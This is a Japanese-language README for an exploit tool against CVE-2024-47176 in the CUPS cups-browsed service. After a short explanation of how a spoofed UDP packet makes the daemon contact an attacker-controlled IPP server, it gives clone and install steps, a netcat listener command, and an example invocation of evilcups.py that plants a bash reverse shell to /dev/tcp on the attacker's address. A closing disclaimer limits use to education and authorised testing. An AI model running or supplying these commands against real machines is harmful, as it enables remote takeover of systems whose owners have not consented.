CVE-2024-47176 — CUPSにおけるリモートコマンド実行

教育および許可された侵入テスト目的のみに使用してください。

目次

• 説明
• 影響を受けるシステム
• 関連CVE
• 前提条件
• セットアップ
• 使用方法
• 免責事項

説明

CUPS（Common UNIX Printing System）は、ネットワークプリンタを管理するオープンソースの印刷システムです。CVE-2024-47176は、INADDR_ANY:631にバインドし、任意のソースからのパケットを盲目的に信頼するcups-browsedデーモンを標的としています。

悪意のあるUDPパケットを作成してGet-Printer-Attributes IPPリクエストをトリガーすることにより、攻撃者はcups-browsedを攻撃者が制御するサーバーに接続させることができ、以下の脆弱性と組み合わせることで、任意のリモートコマンド実行を達成します。

影響を受けるシステム

関連CVE

前提条件

• ポート631（IPP/UDP）が公開されている対象マシン
• 攻撃マシン上のPython 3.x
• nmap（オプション、偵察用）
• リバースシェル用のnetcatリスナー

セットアップ

1. リポジトリをクローン:

git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176

2. 必要なPython依存関係をインストール:

pip install ippserver

3. マシン上でリスナーを起動:

nc -lvnp <PORT>

使用方法

./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"

例 — リバースシェル:

./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"

エクスプロイトを実行した後、対象マシンで印刷ジョブをトリガーする（または自動チェックを待つ）とペイロードが実行されます。

免責事項

このリポジトリは教育目的および許可されたセキュリティ研究のためのみに提供されています。このツールを、自分が所有していない、または明示的な書面による許可を得ていないシステムに対して使用することは違法であり、非倫理的です。